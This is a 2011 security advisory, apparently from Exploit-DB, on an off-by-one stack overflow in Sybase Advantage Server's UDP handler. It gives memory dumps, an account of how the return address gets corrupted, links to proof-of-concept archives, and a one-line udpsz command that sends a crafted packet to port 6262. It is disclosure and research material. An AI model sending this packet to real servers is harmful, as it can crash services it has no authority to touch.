Sybase Advantage Server 10.0.0.3 – ‘ADS’ Process Off-by-One Buffer Overflow
source: https://www.securityfocus.com/bid/48464/info Sybase Advantage Server is prone to an off-by-one buffer-overflow vulnerability. Attackers may exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts may result in a denial-of-service condition. Sybase Advantage Server 10.0.0.3 is vulnerable; other versions may also be affected. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35886.zip ####################################################################### Luigi Auriemma Application: Sybase Advantage Server http://www.sybase.com/products/databasemanagement/advantagedatabaseserver Versions: <= 10.0.0.3 Platforms: Windows, NetWare, Linux Bug: off-by-one Exploitation: remote, versus server Date: 27 Jun 2011 (found 29 Oct 2010) Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's website: "Advantage Database Server is a full-featured, easily embedded, client-server, relational database management system that provides you with Indexed Sequential Access Method (ISAM) table-based and SQL-based data access." ####################################################################### ====== 2) Bug ====== By default the Advantage server (ADS process) listens on the UDP and TCP ports 6262 and optionally is possible to specify also a so called "internet port" for non-LAN connections. The problem is enough unusual and affects the code that handles a certain type of packets on the UDP port. In short the server does the following: - it uses memcpy to copy the data from the packet into a stack buffer of exactly 0x2b8 bytes (handled as 0x2b9 bytes) - later this data is handled as a string but no final NULL byte delimiter is inserted - there is also an off-by-one bug since one byte overwrites the lower 8bit value of a saved element (a stack pointer 017bff??) - after this buffer are located some pushed elements and obviously the return address of the function - it calls the OemToChar API that changes some bytes of the buffer (like those major than 0x7f) till it reaches a 0x00 that "luckily" is after the return address - so also the return address gets modified, exactly from 0084cb18 to 00e42d18 that ironically is a valid stack frame somewhat related to the starting of the service - the data inside this stack address doesn't seems changeable from outside and has tons of 0x00 bytes that in this case act like NOPs till the zone around 00ebf05b where are located some pushed elements - the EBX register contains two bytes of the attacker's data and EBP points to such data the following is a resume of these operations: 017BF66B 61 61 61 61 61 61 61 61 61 61 61 61 61 61 FF 7B aaaaaaaaaaaaaa�{ 017BF67B 01 99 26 C1 71 BC F6 7B 01 18 CB 84 00 00 00 00 .�&�q��{..˄.... |---------| original return address 0084B81D |. FF15 DC929000 CALL DWORD PTR DS:[<&USER32.OemToCharA>] 017BF66B 61 61 61 61 61 61 61 61 61 61 61 61 61 61 A0 7B aaaaaaaaaaaaaa�{ 017BF67B 01 D6 26 2D 71 2B F7 7B 01 18 2D E4 00 00 00 00 .�&-q+�{..-�.... |---------| new return address 00E42D18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00E42D28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ... 00EBF04B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00EBF05B 00 99 78 82 7C 4A EC 82 7C 20 00 00 00 A0 F0 EB .�x�|J��| ...��� 00EBF06B 00 A0 F0 EB 00 00 00 00 00 68 F1 EB 00 01 00 00 .���.....h��.... 00EBF07B 00 5C F1 EB 00 D1 0F E7 77 A0 F0 EB 00 00 00 00 .\��.�.�w���.... 00EBF08B 00 51 02 02 00 EC 0F E7 77 00 D0 FD 7F 00 00 00 .Q...�.�w.��... 00EBF09B 00 01 00 00 00 18 00 34 00 02 00 00 00 7C 0A 00 .......4.....|.. 00EBF0AB 00 14 0D 00 00 1C 75 17 00 00 00 00 00 00 00 00 ......u......... 00EBF0BB 00 51 02 02 00 08 00 00 C0 00 00 00 00 00 00 00 .Q......�....... the code flow usually arrives till 00ebf0ab or other addresses close to it depending by the data saved there when the service started. Now for exploiting this vulnerability would be required the presence of a "jmp ebp" or "call ebp" or a sequence of instructions with a similar result in the 00ebf05b zone which looks like an enough rare event. I have not tested the Linux and NetWare platforms so I don't know if the problem exists also there and if there are more chances of exploiting it. ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/udpsz.zip http://aluigi.org/poc/ads_crc.zip udpsz -C 0012 -L ads_crc.dll -b 0x61 SERVER 6262 0x592 ####################################################################### ====== 4) Fix ====== No fix. UPDATE: vendor has fixed the bug in version 10.10.0.16 released in July 2011: http://devzone.advantagedatabase.com/dz/content.aspx?key=44&id=ef0915fb-44c2-fe4b-ac26-9ed3359cffff ####################################################################### |